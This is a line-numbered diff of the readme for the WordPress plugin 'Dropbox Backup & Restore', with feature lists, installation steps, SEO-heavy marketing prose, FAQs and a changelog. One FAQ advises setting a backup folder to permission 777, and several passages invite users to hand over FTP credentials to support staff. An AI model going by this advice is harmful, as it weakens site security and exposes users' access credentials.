- WE DO NOT COLLECT AND DO NOT STORE THE PERSONAL DATA OF USERS FROM THIS PLUGIN!
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ === Dropbox Backup & Restore ===
2
+ Plugin Name: Dropbox Backup & Restore
3
+ Version: 1.4.1
4
  Donate link: http://www.wpadm.com/donate
5
  URI: http://www.wpadm.com/dropbox-backup
6
+ Tags: dropbox, backup, dropbox backup, database, file, full backup, manage, sicherung, database backup, file backup, page backup, page, web, web backup, web page, synchronize, clone, duplicate, move, web page backup, site, site backup, back up, cloud, Cloud Files, cloud backup, db backup, dump, german, migrate, multisite, German, schedule, storage, time, upload, data bank, zip, archive, backups, restore, db, recover, recovery, restoration, wp backup, wordpress backup, wordpress backup to dropbox, plugin wordpress backup, wpadm, wpadm.com, website, website backup, website back up, wp backup, wordpress backup, scheduled backup, backup scheduler, tool, backup tool
7
+ Requires at least: 3.9
8
+ Tested up to: 4.4.1
9
  Stable tag: trunk
10
  License: GPLv2 or later
11
  License URI: http://www.gnu.org/licenses/gpl-2.0.html
12
  Author: WPAdm.com
13
  Contributors: WPAdm.com
14
 
15
+ Dropbox Backup & Restore Plugin to create Dropbox Full Backup (Files + Database) or Restore, Duplicate, Clone or Migrate of your Website
16
 
17
  == Description ==
18
 
19
+ Supports WordPress Backup and Restore to/from Local Storage or upload Backups to Dropbox.
20
 
21
+ If you do not understand something or you have a questions, <br />
22
+ please, make a [support request](http://www.wpadm.com/support/) first!
23
 
24
+ **Features of website backup & website restore plugin:**
25
 
26
+ * Unlimited dropbox backups;
27
+ * Unlimited dropbox restores;
28
+ * Unlimited local backups;
29
+ * Unlimited local restores;
30
+ * Local Backup: create the Full Backup of Web Page (Files + Database) and store this at Local Storage of the Site;
31
+ * Dropbox Backup: create the Full Backup (Files + Database) of Web Page at Local Storage and upload this to Dropbox;
32
+ * Local Restore: restoration from Local backup at your website (web hosting);
33
+ * Dropbox Restore: restoration from Dropbox backup;
34
+ * With "dropbox backup & restore" plugin you can backup and restore WooCommerce shop inkl. Database with products;
35
+ * Notification loging on screen and in file;
36
+ * Use your own App key and App secret;
37
+ * Supports backup on "Low Memory" Hosting or Server;
38
+ * Possibility to make Dropbox backup and restore interface hidden with all listed backups (only Admins can access the backup plugin page);
39
+ * Automatic database optimization before backup;
40
+ * Database or Table repair functionality before backup (coming soon);
41
+ * Administrate ALL of Backups for ALL of your sites from one place – WPAdm-account (Account is FREE);
42
+
43
+ **Account creation is optional, but we suggest to do this.<br /> Why create [www.wpadm.com](http://www.wpadm.com/) account?**<br />
44
+ Your website can be down, not available or admin back-end can be without response. There are many reasons for this, for example:<br />
45
+
46
+ * Some plugin or some theme (template) has an error;
47
+ * Plugin or theme (template) was installed incorrectly (wrong installation of WordPress plugins and WordPress themes);
48
+ * Vulnerabilities of user files, WordPress files, WordPress plugin- and theme- files;
49
+ * Websites Hacking (web page hacks), Websites Trojans etc.;
50
+ * Server or hosting misconfiguration. For example: files and folder rights, like "owner" rights, "read", "write" and "execution" rights;
51
+ * Web Server or web hosting misconfiguration, like wrong Apache or nginx configuration, mod_rewrite rules (rewriting rules) configuration;<br />
52
+ etc.
53
+
54
+ You can create your WPAdm account also for **central Backup administration** at http://www.wpadm.com <br />
55
+ WPAdm account is FULLY FREE.<br /><br />
56
+
57
+ **PLEASE, READ CAREFULLY!** <br />
58
+ **If you like our plugin - please, make your own [review](https://wordpress.org/support/view/plugin-reviews/dropbox-backup). It will help us to develop and update website backup and website restore plugin for you!**<br />
59
+ **This is one of few WordPress backup plugins, who does a fully free support (plugin support!) for all of our users.<br />
60
+ Dropbox backup and restore plugin ask for FTP if your website (not this plugin!) have some troubles, in order that we could make support for you.<br />
61
+ Providing of these FTP DATA IS NOT OBLIGATORY, but if you do this, - our support staff will check your backup process and you will receive a feedback about results.<br />
62
+ It can take a while and some patience from you.<br /><br />
63
+ We are not responsible for any 5хх-errors! Such errors caused in most cases (99,9%) by your server/hosting.<br />
64
+ For a little fee, we can help you solve problems of your server or hosting (to do this, we will need your FTP website access).<br />
65
+ Thank you for your understanding!**
66
+
67
+
68
+ **ALL INFORMATION, PROVIDED BY OUR USERS IS IN SAFETY AND USED FOR SUPPORT ONLY!**
69
 
70
  If you need help with the plugin or you want to report a bug please refer to http://www.wpadm.com/support/
71
+ <br />
72
+
73
+ If your website has basic authorisation (basic_auth), it can call some exclusions during backup executing. We are working on this issue.
74
+
75
 
76
  == Installation ==
77
 
78
+ ### Perform a new installation using FTP
79
+ 1. Upload the plugin folder `Dropbox Backup` to the `/wp-content/plugins/` directory of your WordPress installation.
80
  2. Activate the plugin through the `Plugins` menu in WordPress
81
 
82
 
83
+ ### Perform a new manual installation of Dropbox backup and restore plugin
84
 
85
+ After downloading the ZIP file of the Dropbox back up and restoration plugin,
86
+
87
+ 1. Log in to your administrator panel;<br />
88
+ 2. Go to Plugins Add > New > Click the button "Upload";<br />
89
+ 3. Click on "Choose file" (or "Browse", to browse the plugin zip-archive) and select the downloaded zip file of the Dropbox back up and restoration plugin;<br />
90
+ *For Mac Users*<br />
91
+ *Go to your Downloads folder and locate the folder with the name "dropbox backup". Right-click on this folder and select Compress. Now you have a newly created .zip file which can be installed as described here.*<br />
92
+ 4. Click on "Install Now" button. Dropbox back up and restore pugin will be installed;<br />
93
+ 5. Click on link "Activate Plugin" to activate the "Dropbox backup and restore" plugin;<br />
94
+ <br />
95
+ *If the installation does not succeed, please contact http://www.wpadm.com support staff or refer to your system administrator.*<br />
96
+
97
+
98
+ Dropbox Backup Plugin have a settings section on WordPress plugin page.
99
+ If you need help with the plugin or you want to report a bug, so please, also refer to http://www.wpadm.com/support/
100
 
101
  == Other ==
102
 
103
+ = Very easy and secure Dropbox Backup and Restoration (website / web page restore from backup) =
104
+
105
  Usefull additional functions can be found at www.wpadm.com in the User profile.
106
+ DropBox Backup is a new plugin, so we tried to provide a bug-free plugin/widget. We are maintain this project.
107
 
108
  Information about privacy: AFTER the user has been registered at WPAdm service AND has confirmed their registration,
109
  our plugin will get the minimum requirements of php and mysql configuration, version and language of wordpress.
110
  This data will be send to WPAdm service, to get the plugin work correctly, to extend supported configurations of user sites with wpadm-extensions and support.
111
+ WE DO NOT COLLECT AND DO NOT STORE THE PERSONAL DATA OF USERS FROM THIS PLUGIN!
112
+
113
+
114
+
115
+ = Website Backup on Dropbox =
116
+
117
+ For security of your sites, webs hops or online portals is backup a must. With backup from www.webpage-backup.com you can secure backup and restore all your projects independent if it website or woocommerce shop as to make restoring from your backups. From security reasons it is impotent to schedule your backups, thereby your information or comments from your databases no go lost. Of course the more important for the security are (frequently) backups for woocommerce shops or multisite backups and there one click to restores from your backup drive. The woocommerce backups need more storage in cloud due to large files.<br />
118
+ But in most cases it isn't needed to make full backup. With help of our service webpage-backup.com you can select the folder or special databases that you must backup or to backup single website inside your hosting. But for our service it does not matter if the files are large or small, in case of the restoration it is the same. As well as for your local backup. Local backup are done on your hosting. If your hosting have enough space for backup it is ok, but it is not recommended. In most cases for storage your full backup on space of your hosting it is not enough space otherwise it is not safe enough, especially if something happen with your hosting or after some time you want to change your hosting provider. Additional if your make automate schedule backups or data base backups ever after some time the space on your backup drive will be full. For this reason the best is to use the Dropbox storage. Dropbox storage is scalable. Of course the scheduler dropbox backup it is not a must. You can make it manually and for free, but it easy to forget and the danger to lose your backup data are big. You must not to upload your dropbox backup on your PC or desktop you can directly restoring your website from dropbox drive. Independently of our service it is possible to downloading, uploading the data from the dropbox account. By dropbox backup with www.webpage-backup.com you can make exclusions of folders or by restoring import archives or whole bundle of archives. By dropbox backup or wep page cloning or migration of the sites it is important that all folders have permissions to write it is the same how permission to access the folder or to uploading it. For backup on dropbox it is does not matter if your site have ssl certificate or it is normal woocommerce shop without SSL certificate the same goes for migrating or for website clone. For our service www.webpage-backup.com it is important that our servise have permissions to the folders and to backup drive.
119
+
120
+ = Special functions =
121
+
122
+ To the special functions of our website backup doesn’t belong the migration, scheduler backup, cron backup, wpmu backup, shop backup and encryption by cloning, if you make some clone of your website or multisite clone. It is all normal functions of our plugin or service at our website www.webpage-backup.com. The most of this tools are free of charge, especially if you do it manually. But inside our multisite tools are other addons and functions. Addons for your pages or multisite (WPMU) peges you can add inside of your service account if you want. But for some of this function it is required to register on www.webpage-backup.com. For manage of multisites or just for one page menaging, for cron and scheduled dropbox backup as for full restoration of you WooCommerce shop, website or multisite as well as for migration - to register it is must. It is not possible to do full restoration of website from dropbox backup without the WordPress site self.
123
+
124
+ = Easy backup =
125
+
126
+ By draw up of our dropbox backup tools we try to do the backup or restoring ever for not experts and multisites owners, but with the same tools how for experts. For experts we have Buckup explorer where the expert can select or to do exclusion of files and webpages. As the register user you can use multiple dropbox account or create other multisite buckup drive clouds, how FTP or you can do the local backup on the site of your host. All automatically functions are inside of our service. To automatically tools belong: cron and scheduler, migrator and remote. Scheduled jobs for dropbox you can set in our calendar, it gives overview.
127
+
128
+ = Back Up, Cloning, duplicate or migrate of websites =
129
+
130
+ Cloning, duplicate or migrate in principal all the function a same. It gives you the possibility quickly to create site clone with as “templates” for multiple site. This clone tool is very useful, if you have more than one website or, if you want to clone or duplicate your web page. With full backup of your old site or WooCommerce shop you can clone or duplicate, and create new clone (due back up) of webshop or website with one click. All multisite backups functions are available from one dashboard of cloning tool, how multisite backup, as well as WPMU backup in the same cloud or in several cloud storages of hosting provider or just server. From same dashboard available clone restorations functions separate or in bundle, depend of your multisite backup settings. If your do so much settings you can remove not needed settings or clone of backup. The settings must be removed separately ever for multisite or clone. The backup dropbox storages must be removed separately too. Although it seems complicated to do automatic backup. With our backup plugin for backup, clone or migrate - you can make it without expert knowledge. Clone add-ons allow your easy backup or migrate your website or WPMU (multisite). "Dropbox backup" is just ultimate tool for WordPress that can worst your productivity by cloning of web pages, allowing you to do efficiently manage of cloned pages through clone or multisite installations.
131
+
132
+ = Easy data restoring =
133
+
134
+ For restoring your website (or multisite websites) selected files from the dashboard and then select files to restore. In backup list you see the type, date and size. From the list you can remove and select appropriate restoring file. In settings your can add or remove the cloud storage. In case of cloning you must restore your old website backup on other webpage. Cloning is the same how resorting but in more steps. The same bee meant for migrating of multisite and shops and there restore. With our file explorer you can match every file separately for restoration. In case of restoration only this files will be restore. You can restore one file than the next, but it easy to make restoring in bundle or directly to recover whole full backup. The restoration time depend from your hosting and upload rate as well as restoration depend from the file size witch must be restore. Scheduled restoring and recovering isn’t possible, unless somebody have special inquiry on our service to do scheduled recovering. The recover from the Dropbox cloud storage take time, depend from the web site size and right permissions of the folders of your hosting provider.
135
+
136
+ = What to do if recovering failed? =
137
+
138
+ First of all check the data spelling. It is most common mistake. Other common mistakes by recovering are:
139
+
140
+ * to recover from wrong cloud storage;
141
+ * if done alone database back up – not full and you can't see the recover sites;
142
+ * by recovering process there was internet connection interrupted;
143
+ * In your database are file exclusions;
144
+ * your database back up was not consistent;
145
+ * file archive of back up with a broken checksum;
146
+ * back up or restore from damaged cloud storage or from damaged back up archive;
147
+ * misspelled back up due user failed restore;
148
+
149
+ Large file and big size databases need more time to back up or recover website. It can take until two hours or more, depend from the size of your back up database, but for our recovery service it doesn’t matter for uploading of large files or small files. The difference between recover the large files and small is the time. <br />
150
+ After check all of this figures please write an email to our support team http://www.webpage-backup.com and we will try to answer as soon as possible and to give you’re the best solution how easy to recover your site.
151
+
152
+ If you see some of 5xx error codes, as return of your backup:<br />
153
+ please, feel free to contact your own system administrator (admins, support etc.), because this type of errors come from your server.<br />
154
+
155
+ **The timely backup protects from viruses.**
156
+
157
+ There are some requirements for creating a reliable backup:<br />
158
+ • Make copies of your files regularly and as often as you can;<br />
159
+ • Rank your data by importance and back up essential information first. Generally, temporary files only add up to the back up volume and carry no significance, so get rid of them;<br />
160
+ • Do not store your file copies on the same hard drives;<br />
161
+ • Make sure you can access your backups any time and from any place;<br />
162
+ • Schedule your backups and ensure you get informed on their status;<br />
163
+ • If your medium capacity or bandwidth is limited use compression tools;<br />
164
+ A good solution is to have a separate server for remote backups although it is not fail-safe. If the server is unavailable restoration will be impossible. To ensure high accessibility and data safety use cloud storage services.<br />
165
+ There are a lot of services providing free but limited cloud storage capacity for backups like Google Drive, Amazon S3 (AWS) or Dropbox. The problem is they do not support FTP protocol which sometimes is the most adequate way of data transfer. In comparison, virtually every host company supports this protocol.
166
+
167
+
168
+
169
+ == Frequently Asked Questions ==
170
+
171
+ = Where can I get my app key & secret? =
172
+
173
+ You can get an API app key and secret by creating an app on the <a href="https://www.dropbox.com/developers/apps/create?app_type_checked=api" target="_blank">app creation page</a>.
174
+ Once you have an app created, the app key and secret will be available on the app's page on the <a href="https://www.dropbox.com/developers/apps" target="_blank">App Console</a>.
175
+ Note that Drop-ins have app keys but no app secrets.
176
+
177
+ = I clicked on the "Backup to Dropbox" button, but nothing happens. What's wrong? =
178
+
179
+ Before you try to make a backup of your website to dropbox, please make sure, that you have created the connection to dropbox. Also you must be sure, that you are connected to dropbox.<br />
180
+ To do this, please, open the "Settings" block in your "Dropbox backup and restore" plugin. There you must see your Dropbox UID (User ID on Dropbox). If you didn't see your Dropbox connection App UID - your Dropbox plugin is NOT CONNECTED to your Dropbox and you can't do the backup of your website.<br />
181
+ So please, at first connect yourself to Dropbox and then, try to make your backup to dropbox.
182
+
183
+ = How to restore my site from dropbox backup? =
184
+
185
+ - First of all, install the Dropbox backup & restore plugin;<br />
186
+ - In Dropbox backup & restore plugin check your connection to dropbox as "dropbox app" or as connection with using of app key & app secret from your dropbox account;
187
+
188
+
189
+ = My web page completely crashed and not available. How can I restore my web page from dropbox backup? =
190
+
191
+ Just login or Register at WPAdm www.wpadm.com If your web page wasn't added and verified - just do it. Add your domain and verified this on WPAdm account.
192
+
193
+ You must see all of your backups, that you have made.
194
+
195
+ = Should I upgrade my old version of Dropbox Backup and Restore plugin? =
196
+
197
+ Yes. We recommended to update or upgrade to a newest versions.
198
+
199
+ = How can I manage my backups? =
200
+
201
+ Manage of multiple back ups is possible from your account on webpage-backup.com
202
+
203
+ = I use multisite WordPress and I would like to manage my backups from one place. How can I do that? =
204
+
205
+ Multisite WP can be supported too, but you have to login in your account at www.webpage-backup.com
206
+
207
+ = Can I use the Dropbox Backup and Restore plugin to clone my website? =
208
+
209
+ Yes. If you have some back up, created with our Dropbox Backup and Restore plugin, then you can use it for migration or doing some clone to another place (server / web hosting).
210
+
211
+ = I didn't see my back up at my Dropbox. Why? How can I find it at my Dropbox? =
212
+
213
+ Simple check your app key and app secret, that you use it from a correct app do you created before you start make a backup.
214
+
215
+ = Is it possible to migrate my website with your Dropbox back up tool? =
216
+
217
+ Many people stay us this question and our answer is - YES! It's good possibility to use our back up plugin specially for migration of websites. Also you can migrate your website locally. If you does a local backup, then you can download it to your PC, upload to another place and make recovery there.
218
+
219
+ = How to do a recovery of my website? =
220
+
221
+ Dropbox Backup and Restore plugin work autonomously. In case, if your page (website) not available, you may use www.webpage-backup.com to recover website from backup on dropbox.
222
+
223
+ = I want schedule backup. How can I schedule backup of my website? =
224
+
225
+ To schedule backup of your webpage (website backup), you may use an account at www.webpage-backup.com to schedule backup.
226
+
227
+ = Can I make a schedule backup of my multisite WordPress? =
228
+
229
+ Please, see the previous question "I want schedule backup. How can I schedule backup of my website?".
230
+ Generally - YES, you can create a scheduled backup, but you may sign in to account at www.webpage-backup.com to make a scheduled backup.
231
+
232
+ = Should I register to make a back up of my site? =
233
+
234
+ Our plugin for back up is completely autonomous plugin for back up, so you don't need to register to make a back up of your site.
235
+
236
+ = How can I manually restore my website from one place to another? =
237
+
238
+ You can restore your website on another place with two ways:<br />
239
+ * manually website restoration<br />
240
+ * automatically website restoration<br />
241
+
242
+ For automatically website restoration you may need an account at webpage-backup.com
243
+
244
+ = Is it possible to duplicate my website like Duplicator Plugin do that? =
245
+
246
+ Backups & Restoring plugin can Duplicate more simply as Duplicator.<br />
247
+ If you want to duplicate your website, you may backup it first at some storage (for example Dropbox or Amazon, or just on your FTP). You can start duplicate website if the backup process was finished successfully. If isn't - don't try to duplicate, because wrong or incorrect backup can crash your website during duplicating.
248
+
249
+ = Duplicate and clone is the same thing? =
250
+
251
+ It has distinction in each of the duplicate and clone plugins. In both cases, as with duplicate and also with clone, this is in fact a website copy.
252
+
253
+ = How can I manage or coordinate my duplicate website? =
254
+
255
+ To managing your duplicate website you need to have an account at webpage-backup.com. So, you will see all of target (original) and source (duplicate) websites. At your account on webpage-backup.com you have a possibility to make one duplicate from another duplicate website, that was duplicated before.
256
+
257
+ = What does make your "duplicate" plugin, which doesn't make another (e.g. Duplicator plugin)? =
258
+
259
+ Duplicating is a very complex process. We will explain the website duplicate in the next our explanations about "duplicate website".
260
+
261
+ = Is it possible to make an Incremental Backup with Dropbox Backup & Restore plugin? =
262
+
263
+ Incremental backup expect many of our users. Incremental backup can help solve many problems for the implementation of the backup in complex systems. Create an incremental backup, that's what we're working. In the next versions it will be also possible to create incremental backups for websites.<br /><br />
264
+ (PS: Autor german language)<br />
265
+ Inkrementelle Sicherung (Incremental backup) erwarten viele unser Nutzer. Inkrementelle Sicherung (Incremental backup) kann helfen viele Probleme für die Durchführung der Sicherung in komplexen Systemen zu lösen. Erstellung eines inkrementelles Backup, das ist, was wir eben noch planen zu implementieren in der Dropbox Backup & Restore Plugin. In den Zukünftigen Versionen wird es auch möglich, inkrementelle Backups zu erstellen.<br /><br />
266
+
267
+ We must understand that when you use incremental backups perform operations such as website clone (clons creating), multisite clone, migrate of websites or website duplicate will be difficult, but possible.
268
+
269
+ = Just to do a MySQL backup. How to do that? =
270
+
271
+ In this version of plugin supported a MySQL backup (database backup or simple "db backup") together with a filesystem backup. To do a mysql backup, you can do it with a file system or just use another version of our plugin.<br />
272
+ The version for mysql backup (DB Backup) is available due control panel at http://www.webpage-backup.com
273
+
274
+ = We want to make an SCP Backup from our rackspace (Full Rackspace Backup). For this operation we would like to use your Dropbox plugin. =
275
+
276
+ Ok, if you want to use an SCP Backup, please, wait for some versions of this plugin over their, and we will make an scp backup for you.
277
+
278
+ = FTP Backup? =
279
+
280
+ The name of this plugin is "Dropbox" Backup and Restore. From control panel at http://www.webpage-backup.com you can do also an FTP Backup. Please, checkout an FTP Backup so.
281
+
282
+ = Is dropbox backup and restoration plugin really free? =
283
+
284
+ Yes, dropbox backup and dropbox restoration are free with plugin "Dropbox Backup and Restore"!
285
+
286
+ = Whether I need to create an account on the wpadm.com? =
287
+
288
+ You shouldn't create an account on the www.wpadm.com, but you are able to do it since further it can really help you at restoration time of your site. For example, if your website is completely down and not available.
289
+
290
+ = Whether there are WordPress templates of my web site in a full backup archive? =
291
+
292
+ Full backup include templates of your site.
293
+
294
+ = I try to create a dropbox backup. I enter the app key and app secret. Then I was asked for permission to access dropbox, so I hit "allow" and then I'm given an "Internal server error".<br /> What is causing this and how might I fix it? =
295
+
296
+ Please, just wait for some time and try again later.<br />
297
+ We know this issue about "Internal Server Error" on Dropbox, that comes from the Dropbox servers. Best thing to do is be patient and give it another try.
298
+ We cannot recommended you more, than just had to wait it out and problem went away after a while.
299
+
300
+ = I want to move my website to the new hosting/server. How can I do this? =
301
+
302
+ Sure, it is possible to use this Dropbox Backup & Restore plugin, but we suggest to try [cloner](https://wordpress.org/plugins/duplicator-clone/). With it you can much easily clone, migrate or easy duplicate your website from one hosting or server to another.
303
+
304
+ = My website has a very BIG files, like photos, videos and so on. If I do my backup to dropbox it's return this message "Maximum execution time of XXX seconds exceeded" and sometimes some other messages while uploading to dropbox. I've tried to do my backups with some of known WordPress plugins like "BackWPup", "UpdraftPlus Backup and Restoration", "WordPress Backup to Dropbox", "BackUpWordPress" but it's all without success. Can you please advise me after all these failures, why I have to trust in "Dropbox Backup & Restore" plugin? =
305
+
306
+ OK, this is a complex question, but we'll try to answer this by comparing of "BackWPup", "UpdraftPlus Backup and Restoration", "WordPress Backup to Dropbox", "BackUpWordPress" with "Dropbox backup & restore" plugin.<br />
307
+ All of this backup plugins like "Dropbox backup & restore", "BackWPup", "UpdraftPlus Backup and Restoration", "WordPress Backup to Dropbox" or "BackUpWordPress" has functionality not only for a backup, but also for restoration (restore or restoring process for website). There are a lot of parameters which are required to be compared.
308
+
309
+ = Why I cannot create local back up? =
310
+ There are many reasons for failed local back up. For example, you may to sure, that you have enough free space on you hard drive (hosting contingent, with other words: you have a free space) for new back up. Also you may to sure, that you permission for script running, file or folder creation are not limited.<br />
311
+ You've corrected these problems and still can't make a local back up - please, contact www.webpage-backup.com support.
312
+
313
+ = Hi, I made a Local Backup and it created 23 zip files, 1 MD5 file and 1 SQL file. How I can validate that this backup ended correctly? =
314
+ At the end of successfully created backup you will receive a results message like "success" or "error" and the .MD5 file will be created. The .md5 file is a checksum for your created backup.
315
+
316
+ = I was using your free version of Dropbox Backup without problem. I just paid for the Pro version and downloaded the files to my computer. What do I do now to activate the Pro version on my WP site and automate dropbox backups? =
317
+ The PRO version of plugin was activated during of payment process, so if you already downloaded the PRO version – it's already activated. Just install the plugin.
318
+ To automate backup to Dropbox (scheduled backup to Dropbox), please look at settings block of an installed PRO plugin.
319
+
320
+ = Can do back up get this message Dropbox Backup wasn't created. Website "XXXXXXXX" returned an error during file creation: Failed to create file, please check the permissions on the folder "/web1/user/website/XXXXXXXX/wp-content/Dropbox_Backup". Please can you advise? =
321
+ Sure, the folder “Dropbox_Backup” with this path on you website hosting or website server "/web1/user/website/XXXXXXXX/wp-content/Dropbox_Backup" must be created, if this wasn’t created yet<br />
322
+ AND this folder must be also writable (For example within permission 777 on this folder).<br />
323
+ You can check this permissions using some FTP client like "WinSCP" or "FileZilla". You can google and download this software. This program is free of charge.<br />
324
+ If you have any difficulties, our support staff can do it for you, but in this way you'll need send FTP access credentials for your website to our support.
325
+
326
+ = I have tried several times to perform a Dropbox backup of my wordpress site. It says that is performs, but the backup counter shows 0 even after being refreshed. The Dropbox folder is showing no items in it. What am I missing to do? =
327
+ 1. One of the possible thing you can try to do is the web browser cache refresh. Try to load you backup plugin page in WordPress without browser cache by clicking of buttons combination Ctrl+F5.<br />
328
+
329
+ = I've been trying to back up a site and I just noticed that it stopped progressing about an hour ago at this line: yyyy-mm-dd xx:xx:xx Add a table "wp_tablexxx" in the database dump. Any idea what happened? =
330
+ The Dropbox backup and restore plugin does an automatic database optimization before backup, <br />but if you have some broken table in database of your website,<br />
331
+ then you can try to repair the database before backup creation.<br />
332
+
333
+ = Hallo, ich habe eben versucht über Ihre Webseite ein Backup in meine Dropbox zum machen - es wurde aber nicht ausgeführt. Das Geld wurde aber von meinem Guthaben bereits abgebucht. Im Scheduler stand auch "WAITING" und dann "PERFORMED" aber die Dropbox ist noch leer. Bitte um Hilfe. =
334
+
335
+ Die Abbuchung erfolgt nicht, falls Ihr Backup ohne Erfolg abgeschlossen wurde.<br />
336
+ In diesem Fall handelt es sich um gelieferte vom Server des Website diese Antwort:<br /><br />
337
+ *504 Gateway Time-out*<br />
338
+ *The gateway did not receive a timely response from the upstream server or application.*<br /><br />
339
+ Dies ist eine interne Fehlermeldung auf Ihrem Server/Hosting, für den wir nicht verantworten können. <br />
340
+ Ist es möglich, dass Sie uns Ihr System Logs-Dateien zukommen lassen <br />
341
+ *oder*<br />
342
+ geben uns den FTP Zugriff von Ihrer Website, damit wir versuchen Ihnen zu helfen.<br />
343
+
344
+ = Makes me mad that I thought I was protected. Couldn't have went another way. I want create my website backup to dropbox. =
345
+ Your website is protected, if you have successfully created website backup.<br />
346
+ Just try to create website backup from you own admin area (from you own WordPress). Backup creating from your own website is fully free!<br />
347
+
348
+ = Seems to be missing something: PHP Extensions sockets, ftp Not Found Functionality are not guaranteed. =
349
+ Yes, to create backup successfully you'll need such PHP extensions like Sockets or Curl, otherwise we can't guaranteed functionality for Dropbox back up and restoration plugin.
350
+
351
+ = I've moved my website to the new hosting provider. Where can I find my PHP Extensions like sockets, ftp or curl to do a backup? Because the Dropbox plugin says me, that functionality for Dropbox back up and restoration plugin can't guaranteed... =
352
+ You can activate PHP Extensions on you cPanel or Plesk of provider hosting administration panel.
353
+ **If you use cPanel,** <br />
354
+ login in cPanel and scroll down to "Software and Services" or "Advanced" block and open "PHP configuration" or "PHP PEAR packages".<br />
355
+ Check on the corresponding checkboxes to your php extensions, that you want activate.<br />
356
+ Save the PHP configuration by clicking the button on bottom (in most cases on the bottom) of this page.<br />
357
+ **If you use Plesk dashboard or Plesk (Version 12) administration panel,** <br />
358
+ Login to Plesk and in main menu open "Tools & Settings" > "PHP Settings" > *any PHP 5.6 handler*<br />
359
+ Clear the checkbox, to have the PHP extension appear on the customers "phpinfo" pages, and click "OK". Wait for the changes in list with PHP extensions to be applied, then select the checkbox and apply the changes once again.<br />
360
+
361
+ = I want optimize my MySQL database before I do my backup. How can I do that? =
362
+ In the Website to Dropbox backup & restoration plugin you can find an appropriate option in the Settings block of the Dropbox plugin. The optimize database setting is per default activated and in use. If you hasn't changed this configuration, then every time, as you doing backup, the database will be optimized automatically.
363
+
364
+ = How much time it will take to create a backup of my website? =
365
+ There are many hardware and software dependences. Approximately the average time for website takes up to 360 seconds for 50 Mb website. There are many hardware and server/web hosting software dependencies to create a back up.
366
+
367
+
368
+ == Changelog ==
369
+
370
+ Please, keep your Dropbox Backup and Restore plugin up-to-date.
371
+
372
+ **Rev.**&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;**Description** <br />
373
+
374
+ @1332931&nbsp;&nbsp;&nbsp;&nbsp;Bug fixes. Plugin Dropbox backup and restore revision added 1.4<br />
375
+ &nbsp;&nbsp;&nbsp;&nbsp;Dropbox backup & restore - add new version(1.4): another way to work with database, bug fixes.<br />
376
+ &nbsp;&nbsp;&nbsp;&nbsp;The time of back up creating.<br />
377
+ &nbsp;&nbsp;&nbsp;&nbsp;Database optimization before backup.<br />
378
+ &nbsp;&nbsp;&nbsp;&nbsp;Configuration of PHP extensions in Plesk panel.<br />
379
+ &nbsp;&nbsp;&nbsp;&nbsp;Dropbox backup and restore was successfully tested up to 4.4.1 WordPress version.<br />
380
+ &nbsp;&nbsp;&nbsp;&nbsp;Small text fix in description about activating of PHP extensions in cPanel for back up plugin.<br />
381
+ &nbsp;&nbsp;&nbsp;&nbsp;Use of FTP protocol to create backup.<br />
382
+ &nbsp;&nbsp;&nbsp;&nbsp;Solutions for storage back up.<br />
383
+ &nbsp;&nbsp;&nbsp;&nbsp;Use separate server for remote backups<br />
384
+ &nbsp;&nbsp;&nbsp;&nbsp;The list of requirements to backup website.<br />
385
+ &nbsp;&nbsp;&nbsp;&nbsp;Requirements for creating back up.<br />
386
+ &nbsp;&nbsp;&nbsp;&nbsp;Find and activate PHP Extensions for Dropbox website back up and restore.<br />
387
+ @1314341&nbsp;&nbsp;&nbsp;&nbsp;Dropbox website backup and restoration answer explained.<br />
388
+ &nbsp;&nbsp;&nbsp;&nbsp;Website backup on "Low Memory" Hostings or Servers.<br />
389
+ &nbsp;&nbsp;&nbsp;&nbsp;Website backup to Dropbox naming corrected to "Website backup".<br />
390
+ &nbsp;&nbsp;&nbsp;&nbsp;Website backup to Dropbox syntax corrected and one tag "Website back up" added.<br />
391
+ &nbsp;&nbsp;&nbsp;&nbsp;Website backup to Dropbox FAQ.<br />
392
+ @1309174&nbsp;&nbsp;&nbsp;&nbsp;Dropbox back up and restoration features list in plugin description changed.<br />
393
+ @1308460&nbsp;&nbsp;&nbsp;&nbsp;Added new version 1.3.3.5 - update user interface.<br />
394
+ @1307504&nbsp;&nbsp;&nbsp;&nbsp;PHP extensions to create back up and restoring for Dropbox back up and restoration.<br />
395
+ &nbsp;&nbsp;&nbsp;&nbsp;In FAQ carriage return corrected.<br />
396
+ &nbsp;&nbsp;&nbsp;&nbsp;Installation instructions for Dropbox back up and restoration plugin.<br />
397
+ &nbsp;&nbsp;&nbsp;&nbsp;Try to make a repairing before backup.<br />
398
+ &nbsp;&nbsp;&nbsp;&nbsp;Dropbox backup and restore question - "Stopped progressing about an hour ago".<br />
399
+ &nbsp;&nbsp;&nbsp;&nbsp;Dropbox backup and restore slug was changed in plugin header for language translation.<br />
400
